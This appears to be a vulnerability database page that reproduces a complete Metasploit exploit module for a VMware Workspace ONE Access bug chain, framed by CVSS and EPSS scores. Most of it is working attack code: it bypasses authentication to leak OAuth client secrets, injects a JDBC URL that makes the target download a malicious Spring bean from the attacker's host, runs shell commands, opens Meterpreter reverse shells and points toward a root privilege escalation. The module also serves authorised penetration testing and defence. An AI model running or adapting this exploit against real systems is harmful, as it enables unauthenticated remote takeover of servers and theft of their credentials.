9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.027 Low
EPSS
Percentile
90.5%
This module combines two vulnerabilities in order achieve remote code execution in the context of the horizon
user. The first vulnerability CVE-2022-22956 is an authentication bypass in OAuth2TokenResourceController ACS which allows a remote, unauthenticated attacker to bypass the authentication mechanism and execute any operation. The second vulnerability CVE-2022-22957 is a JDBC injection RCE specifically in the DBConnectionCheckController classโs dbCheck method which allows an attacker to deserialize arbitrary Java objects which can allow remote code execution.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'builder'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
class InvalidRequest < StandardError
end
class InvalidResponse < StandardError
end
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware Workspace ONE Access VMSA-2022-0011 exploit chain',
'Description' => %q{
This module combines two vulnerabilities in order achieve remote code execution in the context of the
`horizon` user. The first vulnerability CVE-2022-22956 is an authentication bypass in
OAuth2TokenResourceController ACS which allows a remote, unauthenticated attacker to bypass the
authentication mechanism and execute any operation. The second vulnerability CVE-2022-22957 is a JDBC
injection RCE specifically in the DBConnectionCheckController class's dbCheck method which allows an attacker
to deserialize arbitrary Java objects which can allow remote code execution.
},
'Author' => [
'mr_me', # Discovery & PoC
'jheysel-r7' # Metasploit Module
],
'References' => [
['CVE', '2022-22956'],
['CVE', '2022-22957'],
['URL', 'https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html#dbconnectioncheckcontroller-dbcheck-jdbc-injection-remote-code-execution'],
['URL', 'https://github.com/sourceincite/hekate/'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0011.html']
],
'DisclosureDate' => '2022-04-06',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => %i[curl wget],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'Payload' => {
'BadChars' => "\x22"
},
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'LPORT' => 5555
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
end
# The VMware products affected do no expose any version information to unauthenticated users.
# Attempt to exploit the auth bypass to determine if the target is vulnerable. Both the auth bypass and RCE were
# patched in the following VMware update: https://kb.vmware.com/s/article/88099
def check
@token = get_authentication_token
Exploit::CheckCode::Vulnerable('Successfully by-passed authentication by exploiting CVE-2022-22956')
rescue InvalidRequest, InvalidResponse => e
return Exploit::CheckCode::Safe("There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}")
end
# Exploit OAuth2TokenResourceController ACS Authentication Bypass (CVE-2022-22956).
#
# Return the authentication token
def get_authentication_token
oauth_client = ['Service__OAuth2Client', 'acs'].sample
res_activation_token = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'oauth2', 'generateActivationToken', oauth_client),
'method' => 'POST'
})
unless res_activation_token
raise InvalidRequest, 'No response from the server when requesting an activation token'
end
unless res_activation_token.code == 200 && res_activation_token.headers['content-type'] == 'application/json;charset=UTF-8'
raise InvalidResponse, "Unexpected response code:#{res_activation_token.code}, when requesting an activation token"
end
activation_token = res_activation_token.get_json_document['activationToken']
res_client_info = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'oauth2', 'activate'),
'method' => 'POST',
'Content-Type' => 'application/x-www-form-urlencoded',
'data' => activation_token
})
unless res_client_info
raise InvalidRequest, 'No response from client when sending the activation token and expecting client info in return'
end
unless res_client_info.code == 200 && res_client_info.headers['content-type'] == 'application/json;charset=UTF-8'
raise InvalidResponse, "Unexpected response code:#{res_client_info.code}, when sending the activation token and expecting client info in return"
end
json_client_info = res_client_info.get_json_document
client_id = json_client_info['client_id']
client_secret = json_client_info['client_secret']
print_good("Leaked client_id: #{client_id}")
print_good("Leaked client_secret: #{client_secret}")
post_data = "grant_type=client_credentials&client_id=#{client_id}&client_secret=#{client_secret}"
res_access_token = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'SAAS', 'auth', 'oauthtoken'),
'method' => 'POST',
'Content-Type' => 'application/x-www-form-urlencoded',
'data' => post_data
})
unless res_access_token
raise InvalidRequest, 'No response from the server when requesting the access token'
end
unless res_access_token.code == 200 && res_access_token.headers['content-type'] == 'application/json;charset=UTF-8' && res_access_token.get_json_document['access_token']
raise InvalidResponse, 'Invalid response from the server when requesting the access token'
end
res_access_token.get_json_document['access_token']
end
# Serve the files for the target machine to download.
# If the request to the server ends in .xml the victim is requesting the spring bean generated by payload_xml method.
# If the request doesn't in .xml the victim is requesting the linux dropper payload.
def on_request_uri(cli, request)
vprint_status("on_request_uri - Request '#{request.method} #{request.uri}'")
if request.to_s.include?('.xml')
vprint_status('Sending XML response: ')
send_response(cli, @payload_xml, { 'Content-Type' => 'application/octet-strem' })
vprint_status('Response sent')
else
vprint_status('Sending PAYLOAD: ')
send_response(cli, generate_payload_exe(code: payload.encoded), { 'Content-Type' => 'application/octet-strem' })
end
end
# Generates the malicious spring bean that will be hosted by the metasploit http server and downloaded and run by the victim
#
# Returns an XML document containing the payload.
def generate_payload_xml(cmd)
bean = ''
builder = ::Builder::XmlMarkup.new(target: bean, indent: 2)
builder.beans(xmlns: 'http://www.springframework.org/schema/beans', 'xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', 'xsi:schemaLocation': 'http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd') do
builder.bean(id: 'pb', class: 'java.lang.ProcessBuilder', 'init-method': 'start') do
builder.constructor do
builder.list do
builder.value('/bin/sh')
builder.value('-c')
builder.value(cmd)
end
end
end
end
bean.gsub!('constructor', 'constructor-arg')
vprint_status(bean)
bean
end
# Calls the vulnerable dbCheck method in order to download and run the payload the module is hosting.
def trigger_jdbc_rce(jwt, sub_cmd)
# jdbc_uri = "jdbc:postgresql://localhost:1337/saas?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://#{datastore['LHOST']}:#{datastore['SRVPORT']}/#{filename}"
jdbc_uri = "jdbcUrl=jdbc%3Apostgresql%3A%2F%2Flocalhost%3A1337%2Fsaas%3FsocketFactory%3Dorg.springframework.context.support.FileSystemXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2F#{datastore['LHOST']}%3A#{datastore['SRVPORT']}%2F#{@payload_name}&dbUsername=&dbPassword"
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'system', 'dbCheck'),
'method' => 'POST',
'Content-Type' => 'application/x-www-form-urlencoded',
'Connection' => 'keep-alive',
'cookie' => "HZN=#{jwt}",
'data' => jdbc_uri
})
fail_with(Failure::Unreachable, "No response from the request to trigger the following sub command: #{sub_cmd}") unless res
fail_with(Failure::UnexpectedReply, "Unexpected response from the request to trigger the following sub command: #{sub_cmd}") unless res.code == 406 && res.body == '{"success":false,"status":406,"message":"database.connection.notSuccess","code":406}'
end
def execute_command(cmd, opts = {})
vprint_status("Executing the following command: #{cmd}")
@payload_xml = generate_payload_xml(cmd)
trigger_jdbc_rce(opts[:jwt], cmd)
end
# Instruct the user to exploit CVE-2022-22960
def on_new_session(_client)
print_good('Now background this session with "bg" and then run "resource run_cve-2022-22960_lpe.rc" to get a root shell')
end
def exploit
unless @token
begin
@token = get_authentication_token
rescue InvalidRequest => e
fail_with(Failure::Unreachable, "There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}")
rescue InvalidResponse => e
fail_with(Failure::UnexpectedReply, "There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}")
end
end
@payload_name = Rex::Text.rand_text_alpha(4..12) + '.xml'
start_service('Path' => "/#{@payload_name}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded, { jwt: @token })
when :linux_dropper
execute_cmdstager({ jwt: @token })
else
fail_with(Failure::BadConfig, 'Invalid target specified')
end
end
end
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.027 Low
EPSS
Percentile
90.5%